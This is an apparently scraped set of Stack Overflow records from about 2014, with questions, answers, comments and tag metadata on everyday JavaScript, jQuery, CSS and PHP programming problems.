has body: I'm using jwplayer's html5 player for mobile. Our license key expired today and while we renew the key, I want to handle this gracefully. I tried to use the onSetupError callback to do this. I have the following setup : jwplayer.key = "key"; jwplayer("selector").setup({ file : "file", advertising : {//ad block} }); jwplayer.onSetupError(function (event) { //Handle the error. }); When I try to run this I get the following error: There was a problem setting up the player: (jwplayer.js, line 4) message: "Error setting up player: Invalid license key" type: "jwplayerError" version: "6.8.4616" proto: Object This error is expected, however the onSetupError callback is not being called. Is there something wrong with my setup and if so what should I change in this?
tagged with: jwplayer6
downvote count: 0
favorite count: 0
type: UnansweredQuestion
has title: jwplayer onSetupError for invalid license key

http://stackoverflow.com/q/25738212
has comment: http://stackoverflow.com/comment/40242696
type: UnansweredQuestion
tagged with: datetime
downvote count: 3
upvote count: 1
type: Question
tagged with: split
score: -2
has answer: http://stackoverflow.com/a/25738325
tagged with: javascript
has body: I have a Datetime string with unknown format, and I would like to split it to 2 different variables of Date &amp; Time but keep the same format. The format can contain several spaces so I can't split the string by spaces (for example: "MMMM dd, yyyy hh:mm:ss:SSS T"). How can I do it?
tagged with: date
has title: Split DateTime string in javascript
has comment: http://stackoverflow.com/comment/40242607
answer count: 1
has comment: http://stackoverflow.com/comment/40242570
favorite count: 0

http://stackoverflow.com/a/25810261
score: 0
type: Answer
has body: Try // patient-dashboard.php if (!isset($_SESSION['username'])) { $_SESSION['login_failed'] = 1; header('Location: ./index.php'); exit; // eliminate errors and prevent the user from going any further } // index.php if (isset($_SESSION['login_failed'])) { unset($_SESSION['login_failed']; die("Login First"); } Or // patient-dashboard.php if (!isset($_SESSION['username'])) { die(" "); }
answers question: http://stackoverflow.com/q/25809958

http://stackoverflow.com/a/25775531
upvote count: 1
answers question: http://stackoverflow.com/q/25775486
type: Answer
downvote count: 0
score: 1
has body: The third is a bad idea, because it iterates over an objects properties, not over the items in an array (although you can mistake it for that, since the items are properties (but there can be other properties, too)). Here's a relevant other SO question: Loop through an array in JavaScript And a useful off-site discussion: http://javascriptweblog.wordpress.com/2011/01/04/exploring-javascript-for-in-loops/ And from the Crockford: http://javascript.crockford.com/code.html#for%20statement

http://stackoverflow.com/comment/40312927
has text: Would be nice to provide a JSFIDDLE!
comment on: http://stackoverflow.com/q/25776524
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25816578
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/13163937
linked to: http://stackoverflow.com/q/13170749
upvote count: 3
answer count: 1
downvote count: 1
duplicate of: http://stackoverflow.com/q/13170749
has title: Javascript decode =C3=B3 quoted printable
has answer: http://stackoverflow.com/a/25816796
tagged with: encoding
tagged with: javascript
score: 2
type: AnsweredQuestion
has body: I have search a lot but cant find the solution, i want to decode a word like Documentaci=C3=B3n => Documentación in javascript, but i cant. I tried to convert to utf8 when word is like Documentaci%C3%B3n and i can, but never with that "=" instead of "%". I take that text from an email if that helps. Thanks in advance if you can help me, really.
accepted answer: http://stackoverflow.com/a/25816796
tagged with: quoted-printable

http://stackoverflow.com/a/25838438
has comment: http://stackoverflow.com/comment/40425733
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40425864
answers question: http://stackoverflow.com/q/25838398
type: Answer
has body: You can change the div css to include (in this case it should be the div with the id "containers" I think) display: inline-block; or since you're using lovely bootstrap you can add classes to both the divs to keep them lovely and gridified! :) E.g. ... ...
accepted answer of: http://stackoverflow.com/q/25838398

http://stackoverflow.com/comment/40328817
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25785050
has text: @DusanJ. you should remove the action and method from your form. you may need $event.preventDefault inside of the processForms function as well. try removing action and method first.
score: 0

file
type: Tag
tags question: http://stackoverflow.com/q/25779395
tags question: http://stackoverflow.com/q/25864461
tags question: http://stackoverflow.com/q/25764210
tags question: http://stackoverflow.com/q/25728759
tag name: file
tags question: http://stackoverflow.com/q/25865017
tags question: http://stackoverflow.com/q/25823702
tags question: http://stackoverflow.com/q/25824728

http://stackoverflow.com/comment/40234147
score: 2
comment on: http://stackoverflow.com/q/25733720
has text: `setInterval(square.update.bind(square), 100)`
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25827926
has comment: http://stackoverflow.com/comment/40406548
has body: To delay evaluation of some code, this code should be put into a function; that function reference should be passed into setTimeout. For example: setTimeout(function() { document.write('Hello world!'); }, 1000); As it stands, you evaluate document.write expression instead immediately - that's why you see all the writings occurring simultaneously. As a sidenote, please please please don't use document.write unless you're really know what're you're doing. It's quite easy to 'log' something just by adjusting innerHTML of log element. For example: &lt;div id="log"&gt;&lt;/div&gt; &lt;script&gt; var log = document.getElementById('log'); setTimeout(function() { log.innerHTML += 'Hello world!&lt;br /&gt;'; }, 1000); &lt;/script&gt; Also, don't forget that each timeout is processed independently. To set up a chain of events, you'd manually increase the delay - otherwise all the functions will be called almost immediately after each other. Overall, here's how it can be done: &lt;div id="log"&gt;&lt;/div&gt; &lt;script&gt; var name = "Joe", i = 0, delayedMessage = function(msg) { setTimeout(function() { document.getElementById('log').innerHTML += msg; }, ++i * 1000); }; delayedMessage("Happy Birthday to you!&lt;br&gt;"); delayedMessage("Happy Birthday to you!&lt;br&gt;"); delayedMessage("Happy Birthday dear " + name + ",&lt;br&gt;"); delayedMessage("Happy Birthday to you!&lt;br&gt;"); &lt;/script&gt; Demo.
accepted answer of: http://stackoverflow.com/q/25827898
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25827898
downvote count: 0
has comment: http://stackoverflow.com/comment/40406457
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/55573056
has text: @PauloBueno. I agree. At the time of my answer I didn't know that `[]` would clear the dashes -- or maybe that option was not available in the year before Denis's answer. Anyway, If there is no design reason to .save/.restore the canvas state I would now use `[]` to clear the dashes. Thanks for the heads up. :-)
comment on: http://stackoverflow.com/a/25790625
type: Comment
score: 3
type: AnswerComment

http://stackoverflow.com/q/25756424
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/40281818
has comment: http://stackoverflow.com/comment/40277972
has body: I'm creating a simple Javascript call to a WCF service, and after the script has called the service, it returns and error for the call. Calling the WCF service via Fiddler returned me the proper results though. So I tried again running the script with Fiddler running to capture the packet. It seems the script is not recognizing the result to be a valid result thus prompting error, as Fiddler again captured the correct result. Some references: IWorkflowService: [ServiceContract] public interface IWorkflowService { [OperationContract] [WebGet(UriTemplate="GetWorkflowDetails?instanceId={instanceId}", ResponseFormat = WebMessageFormat.Json)] WorkflowInstance GetWorkflowDetails(string instanceId); } [DataContract] public class WorkflowInstance { //properties [DataMember] public string Result {get; set;} } WorkflowService.cs: public class WorkflowService : IWorkflowService { public WorkflowInstance GetWorkflowDetails(string instanceId) { WorkflowInstance instance = new WorkflowInstance() { Result = instanceId }; return instance; } } Script on aspx page: var args = getQueryVariable("instanceId"); var url = "http://localhost:56091/WorkflowService.svc/GetWorkflowDetails?instanceId="+args; //alert(url); $("textArea").append(url); $.ajax({ type: "GET", url: url, success: function (result) { alert(result); }, error: function (error) { alert("Error: " + error.responseText); } }); Raw result from Fiddler: HTTP/1.1 200 OK Server: ASP.NET Development Server/10.0.0.0 Date: Wed, 10 Sep 2014 02:15:00 GMT X-AspNet-Version: 4.0.30319 Content-Length: 49 Cache-Control: private Content-Type: application/json; charset=utf-8 Connection: Close {"Result":"9b3f4bfb-27f0-4570-82ba-3719109bab76"}
has comment: http://stackoverflow.com/comment/40287083
has comment: http://stackoverflow.com/comment/40277226
favorite count: 0
tagged with: wcf
type: UnansweredQuestion
has title: WCF Returns Result but Javascript gives Error
upvote count: 1
tagged with: http://stackoverflow.com/tag/json
downvote count: 1
has answer: http://stackoverflow.com/a/25758420
type: Question
tagged with: c#

http://stackoverflow.com/comment/40366178
has text: What do you mean with *index*? The actual position? The rendered HTML? Currently, you are trying to access a non-existing DOM element...
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25805075
type: Comment

http://stackoverflow.com/q/25859391
has comment: http://stackoverflow.com/comment/40464090
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25859452
linked to: http://stackoverflow.com/q/25855236
has answer: http://stackoverflow.com/a/25859718
score: 7
has answer: http://stackoverflow.com/a/68862456
downvote count: 1
type: Question
has body: This is sort of a continuation of an earlier question. I have some html. things that are red: Red Apples Red Meat All Red Cars I want to use javascript to wrap all of the text elements with a element The result I am looking for. things that are red: Red Apples Red Meat All Red Cars After a lot of thought I realized that I had to distinguish between text nodeTypes and Element NodeTypes while navigating the DOM. I used some of the feedback from my earlier question, and wrote this little script. function walkTheDOM(node, func) { func(node); node = node.firstChild; while (node) { walkTheDOM(node, func); node = node.nextSibling; } } walkTheDOM(document.body, function (node) { // Is it a Text node? if (node.nodeType === 3) { var text = node.data.trim(); // Does it have non white-space text content? if (text.length > 0) { node.data = text.replace(/(RED)/gi, '$1'); } } }); This does pretty much what I want it to do, except the output is text rather than html. So my question is this, is there an easy way to fix this line node.data = text.replace(/(RED)/gi, '$1'); So that the output is html?
has comment: http://stackoverflow.com/comment/40463847
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40463874
accepted answer: http://stackoverflow.com/a/25859718
answer count: 3
has comment: http://stackoverflow.com/comment/40463997
favorite count: 0
upvote count: 8
has answer: http://stackoverflow.com/a/25859452
has title: Converting a Text NodeType into an Element in Javascript

http://stackoverflow.com/q/25839711
has title: How to know which is the top element showing in div
possible better answer: http://stackoverflow.com/a/25839918
tagged with: css
favorite count: 0
tagged with: angularjs
upvote count: 1
type: AnsweredQuestion
score: 1
linked to: http://stackoverflow.com/q/487073
has comment: http://stackoverflow.com/comment/40428209
has answer: http://stackoverflow.com/a/25843032
has body: The question in this link answers how to know if an element is visible after scrolling. (Check if element is visible after scrolling). I have a slightly different situation: I have a scrolling div, with many elements within it identified by id. At any given time, how can I know which one is the top element showing in the div? I am using angular.js, so what I have in mind is to have a variable in my scope that is constantly updated with the top element that appears in the scrolling div.
type: Question
has answer: http://stackoverflow.com/a/25839918
answer count: 2
accepted answer: http://stackoverflow.com/a/25843032
downvote count: 0
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40470033
type: QuestionComment
has text: with chrome you can try `debugger;`, did you try it?
score: 0
comment on: http://stackoverflow.com/q/25862845
type: Comment

http://stackoverflow.com/comment/40447122
score: 1
comment on: http://stackoverflow.com/q/25850475
has text: Did you see this question? http://stackoverflow.com/questions/10322299/finding-a-colspan-header-for-one-of-the-cells-or-tds-is-spans
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40284028
has text: fantastic Alex, thank you very much! i tried body background url and didn't work previously
type: Comment
comment on: http://stackoverflow.com/a/25760901
score: 0
type: AnswerComment

http://stackoverflow.com/q/25715689
type: Question
score: 5
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25715717
has answer: http://stackoverflow.com/a/25715717
has answer: http://stackoverflow.com/a/25715711
accepted answer: http://stackoverflow.com/a/25715711
has body: I'm trying to test whether or not an unordered string has '3' in it 5 times. For example: var re = /3{5}/; re.test("333334"); //returns true as expected re.test("334333"); //returns false since there is no chain of 5 3s What regex would make the second line return true? If regex is not the best way to test this, what is? Thanks!
has answer: http://stackoverflow.com/a/25716088
answer count: 4
favorite count: 0
upvote count: 5
has answer: http://stackoverflow.com/a/25715749
tagged with: regex
type: AnsweredQuestion
downvote count: 0
has title: Javascript regex - specific number of characters in unordered string

http://stackoverflow.com/comment/40336412
type: Comment
comment on: http://stackoverflow.com/a/25789856
has text: It will bypass the global ajaxSuccess, which is not what I want
score: 0
type: AnswerComment

http://stackoverflow.com/a/25718113
has comment: http://stackoverflow.com/comment/40205637
type: Answer
has comment: http://stackoverflow.com/comment/40206184
has comment: http://stackoverflow.com/comment/40204795
answers question: http://stackoverflow.com/q/25717674
has comment: http://stackoverflow.com/comment/40205845
has comment: http://stackoverflow.com/comment/40205176
upvote count: 1
has comment: http://stackoverflow.com/comment/40207179
has comment: http://stackoverflow.com/comment/40207198
has comment: http://stackoverflow.com/comment/40206292
score: 1
has comment: http://stackoverflow.com/comment/40206871
has comment: http://stackoverflow.com/comment/40205284
has body: If you are using asp.net mvc you can simply do this: Logo will appear here @if(User.Identity.IsAuthenticated) { @User.Identity.Name } EDIT: as it turns out from the comments, OP is not using ASP.NET (despite having asp.net tags in his/her question at the time of me answering), thus this answer is invalid.
downvote count: 0
has comment: http://stackoverflow.com/comment/40204808
has comment: http://stackoverflow.com/comment/40205025
has comment: http://stackoverflow.com/comment/40205543

http://stackoverflow.com/comment/40393692
type: Comment
has text: put above code after this $("#navmenu > ul > li").each(); event.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25820868

http://stackoverflow.com/comment/40250524
type: QuestionComment
comment on: http://stackoverflow.com/q/25742696
score: 0
has text: @23tux If the file contains `\"` that will result in `"\\""` which is invalid syntax.
type: Comment

http://stackoverflow.com/a/25820429
has body: If Qt is your JavaScriptWindowObject, you should use: In your Qt code behind (MainWIndow class): MainWIndow.h file: public slots: void populateJavaScriptWindowObject(); void myFunction(int angle); MainWIndow.cppfile: //in constructor connect(ui-&gt;webView-&gt;page()-&gt;mainFrame(), SIGNAL(javaScriptWindowObjectCleared()), this, SLOT(populateJavaScriptWindowObject())); //in populateJavaScriptWindowObject SLOT void MainWindow::populateJavaScriptWindowObject() { QWebFrame *frame = ui-&gt;webView-&gt;page()-&gt;mainFrame(); frame-&gt;addToJavaScriptWindowObject("Qt", this); } In your Javascript code: function angleChanged(angle) { Qt.myFunction(angle); }
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40397547
type: Answer
has comment: http://stackoverflow.com/comment/40394770
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25814026
has comment: http://stackoverflow.com/comment/40393834
answers question: http://stackoverflow.com/q/25814026

http://stackoverflow.com/comment/40406330
type: QuestionComment
has text: I don't know what is wrong, but for sure the problem is not a mix up of req and response headers. The `.post` would never do that. -- You seem to like for(...)-loops. Do you have any outside that `.post`, that ruins your values? If the loop counts eg `i` to the end, then `i` is on this value for all calls you already made.
score: 0
comment on: http://stackoverflow.com/q/25825497
type: Comment

http://stackoverflow.com/comment/92214508
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25858901
has text: you should look at this. https://stackoverflow.com/questions/8719276/cors-with-php-headers

http://stackoverflow.com/comment/40444044
comment on: http://stackoverflow.com/a/25848688
score: 0
type: AnswerComment
has text: Ah, crap, that was the wrong fiddle...that was your code. lol http://jsfiddle.net/f1p0ahmk/1/
type: Comment

http://stackoverflow.com/q/25838748
answer count: 1
has comment: http://stackoverflow.com/comment/40426182
has answer: http://stackoverflow.com/a/25838813
has title: code not reached after for loop (javascript)
tagged with: loops
has comment: http://stackoverflow.com/comment/40426301
tagged with: for-loop
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40426199
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25838813
has comment: http://stackoverflow.com/comment/40426250
type: Question
has body: In this function, right after the first for loop, code isn't being reached. The alert("can't get here"); isn't working. Am I missing some obvious JavaScript caveat here? The rest of the code can be found here: http://jsbin.com/tiweniludoqe/7/edit Any help is much appreciated. function checkForWin(){ var winCondition = 0; //check for horizontal wins for(i = 0; i &lt; board[i].length; i++) { for(j = 0; j &lt; board[i].length; j++) { winCondition += board[i][j]; if(winCondition === board[i].length) { alert("win detected horizontal"); } } winCondition = 0; } alert("can't get here"); //check for vertical wins for(i = 0; i &lt; board[i].length; i++) { for(j = 0; j &lt; board[i].length; j++) { winCondition += board[j][i]; alert("winCondition: " + winCondition); if(winCondition === board[i].length) { alert("win detected horizontal"); } } } //if diagonal / is 3 or -3 win //if diagonal \ is 3 or -3 win }
score: 1
favorite count: 0
upvote count: 1

http://stackoverflow.com/comment/40436430
comment on: http://stackoverflow.com/a/25844427
type: AnswerComment
score: 0
has text: I am using this function inside the " " then how can i set to null?
type: Comment

http://stackoverflow.com/comment/40443235
type: AnswerComment
type: Comment
has text: `$( "#zip_code" ).focusout(GetLocation);` No need to wrap that in an anonymous function.
score: 1
comment on: http://stackoverflow.com/a/25846548

http://stackoverflow.com/comment/40266789
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25751430
score: 1
has text: @user1717344: Show us your code!

http://stackoverflow.com/a/25741747
downvote count: 0
has comment: http://stackoverflow.com/comment/40248995
type: AcceptedAnswer
score: 4
answers question: http://stackoverflow.com/q/25741598
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/25741598
has comment: http://stackoverflow.com/comment/40248627
has body: The use of services is recommended not for performance but for separation of concerns and code cleanliness. Having said that, if your controller has only a single $http call, then no point creating a service just for the sake of having a service.
has comment: http://stackoverflow.com/comment/40248547

http://stackoverflow.com/q/25767947
tagged with: javascript
tagged with: jquery
upvote count: 1
has body: Is it possible to have an animated transition between components in knockout which are loaded using require? So when state() changes, components are faded/slid into place? I have done similar things in the past with fadeVisible, but this does not appear to work with amd/require and the new components api. Any ideas? Thanks :) Registration // Register knockout components ko.components.register('breadcrumb', { require: './Modules/Breadcrumb/Breadcrumb' }); ko.components.register('splash', { require: './Modules/Splash/Splash' }); ko.components.register('catalogue', { require: './Modules/Catalogue/Catalogue' }); ko.components.register('requests', { require: './Modules/Requests/Requests' }); Usage Fiddle: How to apply transition effects between knockout amd components
has answer: http://stackoverflow.com/a/25768555
accepted answer: http://stackoverflow.com/a/25768555
favorite count: 0
downvote count: 0
type: AnsweredQuestion
tagged with: knockout-components
has title: How to apply transition effects between knockout amd components
score: 1
tagged with: knockout.js
type: Question
answer count: 1

http://stackoverflow.com/a/25726114
type: Answer
score: 0
has body: Here's one way that you can approach it (as I understand the question): // Create your dictionary var dict = {}; var enc = "wvEr2JmJUs2JRr:7Fob9WIB8mSOA?w0s2E:7-f/-G/N-.f7jN:Mi:.CDfGX7tn!".split(''); var dec = "Identification: zpE?bkHlfYS-hIDate: 07/08/2057 12:34:56.789 CGT".split(''); // Populate your dictionary for (var i = 0; i &lt; enc.length; i++) { dict[enc[i]] = dec[i]; } // You can use your dictionary like this var newenc = "wvEr2JmJUs2JRr:7a1AJvvHvAmRRWsxWsFAvJvAJAaoE88A2?s2AxJ1?290s2E:7-f/-G/N-.f7jN:MC:ifDCGN7tn!".split(''); // Returns your translated string newenc.map(function(e) { return dict[e]; }).join(''); However for this method you'll have to deal with characters that are defined in newenc that are not defined in your enc (such as T). I tried to do the best I could given the situation and rules that you've described, hope this helps!
answers question: http://stackoverflow.com/q/25725720

http://stackoverflow.com/a/25739335
has comment: http://stackoverflow.com/comment/40244618
has body: Update the below css values with: nav a{ color:#fff; text-transform: uppercase; display:inline-block; padding: 22px 30px; text-decoration:none !important; -webkit-transition:background-color 0.25s; -moz-transition:background-color 0.25s; transition:background-color 0.25s; }
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40245009
has comment: http://stackoverflow.com/comment/40244768
score: 3
has comment: http://stackoverflow.com/comment/40244861
upvote count: 3
has comment: http://stackoverflow.com/comment/40244528
answers question: http://stackoverflow.com/q/25739229
has comment: http://stackoverflow.com/comment/40244890

http://stackoverflow.com/comment/40651685
type: Comment
comment on: http://stackoverflow.com/a/25963289
type: AnswerComment
has text: That `xpath` library has to be run over some kind of DOM. The only solution that parses HTML is `jsdom`, which is slow as hell. It's the first item in the list up there. Did you read the question?
score: 0

http://stackoverflow.com/a/25859657
has body: The issue actually didn't have anything to do with my Gruntfile... There was an issue in one of my tasks that caused Grunt to fail. Once I sorted out that issue everything started working again.
answers question: http://stackoverflow.com/q/25857876
upvote count: 1
has comment: http://stackoverflow.com/comment/40476857
has comment: http://stackoverflow.com/comment/40519990
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/comment/40525448
has text: Two-digit years are yet another format, with different rules :-) I only remember there was a format with slashes for dates which worked quite consistent across browsers, it might be different from than the one in question though.
type: AnswerComment
comment on: http://stackoverflow.com/a/25865621
score: 0
type: Comment

http://stackoverflow.com/a/25858748
downvote count: 1
type: Answer
upvote count: 0
answers question: http://stackoverflow.com/q/25805795
score: -1
has body: Your AJAX request is not sending any parameters: var jsonData = $.ajax({ type: "POST", url: "http://localhost/query/MEAS.php", dataType:"json", async: false }).responseText; you need to add the parameter to the request: var jsonData = $.ajax({ type: "POST", url: "http://localhost/query/MEAS.php", data: { myParameterName: parameterValue }, dataType:"json", async: false }).responseText; If this is happening in response to user input, then the drawing should happen inside an event handler in response to whatever needs to trigger the redraw. As an example: function drawChart() { var jsonData = $.ajax({ type: "POST", url: "http://localhost/query/MEAS.php", data: { myParameterName: 'default value' }, dataType:"json", async: false }).responseText; // Create our data table out of JSON data loaded from server. var data = new google.visualization.DataTable(jsonData); // create and draw the chart // ... /* assumes you have: * a chart object called "chart" * an options object called "options" * a button with the id "myButton" that should trigger a redraw on click * an input field "myInput" that has the value you want to send to your server */ function updateChart () { jsonData = $.ajax({ type: "POST", url: "http://localhost/query/MEAS.php", data: { myParameterName: document.querySelector('#myInput').value }, dataType:"json", async: false }).responseText; data = new google.visualization.DataTable(jsonData); chart.draw(data, options); } var btn = document.querySelector('#myButton'); if (document.addEventListener) { btn.addEventListener('click', updateChart); } else if (document.attachEvent) { btn.attachEvent('onclick', updateChart); } } google.load('visualization', '1', {packages:['corechart'], callback: drawChart});

http://stackoverflow.com/a/25821604
accepted answer of: http://stackoverflow.com/q/25819424
has body: User select should work ok, but not in the format shown. You can't just set an object variable like that. Using css styling, it can be done like this... text { -moz-user-select: none; -webkit-user-select: none; } jsfiddle and slightly different version setting class direct... .donthighlight { -moz-user-select: none; -webkit-user-select: none; } text1.node.setAttribute("class","donthighlight"); jsfiddle I guess be wary some older browsers may not support this, which is a reason Raphael is often used, and extend the css to include the other browsers.
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 6
has comment: http://stackoverflow.com/comment/40406629
score: 6
answers question: http://stackoverflow.com/q/25819424

http://stackoverflow.com/comment/40344211
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25793724
type: Comment
has text: No worries. No injections needed unless you plan to use Angular's `$window` instead (probably no need to).

http://stackoverflow.com/comment/40357701
type: QuestionComment
has text: am sorry it was an emergency situation i will remove it as soon as possible
score: 0
comment on: http://stackoverflow.com/q/25788386
type: Comment

http://stackoverflow.com/comment/40476187
type: Comment
type: QuestionComment
has text: this is the tutorial in jquery custom widget, which refers to use this way of binding events. Please check http://jqueryui.com/widget/
comment on: http://stackoverflow.com/q/25866338
score: 0

http://stackoverflow.com/comment/40247838
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25741137
has text: can you show the arrow css?

http://stackoverflow.com/a/25826164
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25819898
answers question: http://stackoverflow.com/q/25819898
score: 3
has body: Neither Safari nor Firefox support HTMLImports today. Instead platform.js polyfills that feature using Ajax requests. Without native browser support there is no way to make your or code.html main.html Import jQuery
type: AcceptedAnswer
upvote count: 3

http://stackoverflow.com/q/25858371
has comment: http://stackoverflow.com/comment/40462395
tagged with: javascript
tagged with: jquery
tagged with: string
has comment: http://stackoverflow.com/comment/40462296
has title: css class*= javascript equivalent
type: Question
has comment: http://stackoverflow.com/comment/40462436
has comment: http://stackoverflow.com/comment/40462423
tagged with: css
favorite count: 0
score: -1
has comment: http://stackoverflow.com/comment/40462361
has answer: http://stackoverflow.com/a/25858647
answer count: 2
downvote count: 2
upvote count: 1
accepted answer: http://stackoverflow.com/a/25858647
tagged with: numbers
possible better answer: http://stackoverflow.com/a/25858540
has answer: http://stackoverflow.com/a/25858540
has body: I have a list of recurring elements with elements inside of them, which use a matching class number. Think .thing_outside_1 &gt; .thing_inside_1 .thing_outside_2 &gt; .thing_inside_2 .thing_outside_3 &gt; .thing_inside_3 ... and so on. Is there an equivalent to css's class*= for javascript, so that I can call on only the 'thing' that has the matching class number? Here's what I have so far $( ".thing_inside_" ).dialog(); $( ".thing_outside_" ).click(function() { $( ".thing_inside_" ).dialog( "open" ); });
type: AnsweredQuestion

http://stackoverflow.com/q/25809025
accepted answer: http://stackoverflow.com/a/25809049
answer count: 1
tagged with: javascript
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/html
tagged with: seo
has comment: http://stackoverflow.com/comment/40371525
tagged with: css
score: -1
has body: I created four website by HTML and CSS and JavaScript (I am not using server side language PHP or else). All my purpose is to get back link with some variable link and link text. So I decided to use a single java script and refer my websites to that link. Following javascript file generated link like this &lt;script&gt; var a = document.createElement('a'); var linkText = document.createTextNode("my title text"); a.appendChild(linkText); a.title = "my title text"; a.href = "http://example.com"; document.body.appendChild(a); &lt;/script&gt; Question is that does google crawler follow this link. In fact does it have SEO benefit?
upvote count: 3
has title: Can google follow javascript generated link?
has comment: http://stackoverflow.com/comment/40371662
has answer: http://stackoverflow.com/a/25809049
has comment: http://stackoverflow.com/comment/40371564
has comment: http://stackoverflow.com/comment/40371476
has comment: http://stackoverflow.com/comment/40371396
downvote count: 4
type: AnsweredQuestion

http://stackoverflow.com/comment/40467953
type: AnswerComment
comment on: http://stackoverflow.com/a/25858277
type: Comment
has text: Hmm, I assumed that sort has `O(n*log(n))` and search has `O(log(n))` complexity; thus, `O(n*log(n) + log(n)) = O((n+1)*log(n)) = O(n*log(n))`. If I am wrong about sorting, please share your source.
score: 0

http://stackoverflow.com/comment/40385554
type: Comment
type: QuestionComment
score: 1
has text: No no, don't expand it in PHP parse it on the client side that's much simpler. Definitely don't need regex for this - you already have a JSON structure - either way iterate the JSON object - either after parsing it to a JS object on the client side or to a PHP associative array on the server.
comment on: http://stackoverflow.com/q/25816270

http://stackoverflow.com/a/25873938
upvote count: 2
score: 1
downvote count: 1
has body: I got the same error just recently in some of my code. Thanks to another question in the past, I realized that when I set the markers I needed to make sure the variables I was bringing in for the anchor and scaled size were float numbers and not coming in as strings. This must be a new requirement with a recent update. In my own code I changed currentIcon = { url: 'http://www.example.com/img/avatars/'+name+'.png', origin: new google.maps.Point(0, 0), anchor: new google.maps.Point(aw,ah), scaledSize: new google.maps.Size(w,h) }; to currentIcon = { url: 'http://www.example.com/img/avatars/'+name+'.png', origin: new google.maps.Point(0, 0), anchor: new google.maps.Point(parseFloat(aw),parseFloat(ah)), scaledSize: new google.maps.Size(parseFloat(w),parseFloat(h)) }; and it now works fine for me.
answers question: http://stackoverflow.com/q/25750692
type: Answer

http://stackoverflow.com/comment/139768380
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25768944
has text: I finally got this working, But only works on S20, not on S24.

http://stackoverflow.com/a/25745087
score: 1
has comment: http://stackoverflow.com/comment/40256806
has comment: http://stackoverflow.com/comment/40261334
downvote count: 0
has body: Something like this should work function currentPath() { var url = window.location.pathname; return url.substring(url.lastIndexOf('/')+1); } function getHrefForLi(li) { return li.getElementsByTagName('a')[0].href.split('/').pop(); } var lis = document.getElementById('menu').getElementsByTagName('li'); for (var i = 0, n = lis.length; i &lt; n; i++) { if (getHrefForLi(lis[i]) == currentPath()) { var prev = i &gt; 0 ? getHrefForLi(lis[i-1]) : null, next = i &lt; n - 1 ? getHrefForLi(lis[i+1]) : null; break; } } prev and next will be the value of the previous and next &lt;a&gt; tags href attribute values or null if the active path is the first or last.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40255284
has comment: http://stackoverflow.com/comment/40255652
answers question: http://stackoverflow.com/q/25744797
type: Answer
has comment: http://stackoverflow.com/comment/40261335
upvote count: 1
has comment: http://stackoverflow.com/comment/40259497
accepted answer of: http://stackoverflow.com/q/25744797

http://stackoverflow.com/comment/40312771
has text: @adeneo Then I obviously have something wrong somewhere in my JS...
comment on: http://stackoverflow.com/q/25776436
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/88764438
type: AnswerComment
comment on: http://stackoverflow.com/a/37115083
type: Comment
has text: I suggest that you put your code in a snippet so that you can run it directly here.
score: 0

http://stackoverflow.com/comment/40860796
score: 0
type: Comment
has text: @dev9 I may be wrong but probably they don't let you customize the *admin backend* because would allow unrecoverable situations, still is weird that they allow for `script` but then are not seen in the preview, you should check with you users for errors in the javascript console. Also, passing the script as a url argument is something you don't want to do, that would allow anyone to inject scripts, the way to go are remote `script` in the html or `jsonp`, or you may take a look to `iframe`s.
type: AnswerComment
comment on: http://stackoverflow.com/a/26065885

http://stackoverflow.com/comment/40209910
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25720576
has text: Are You using express ?

http://stackoverflow.com/q/25725720
has answer: http://stackoverflow.com/a/25726114
tagged with: decoding
type: AnsweredQuestion
type: Question
has title: Decoding string to array values in javascript
accepted answer: http://stackoverflow.com/a/25726157
possible better answer: http://stackoverflow.com/a/25726114
tagged with: arrays
tagged with: javascript
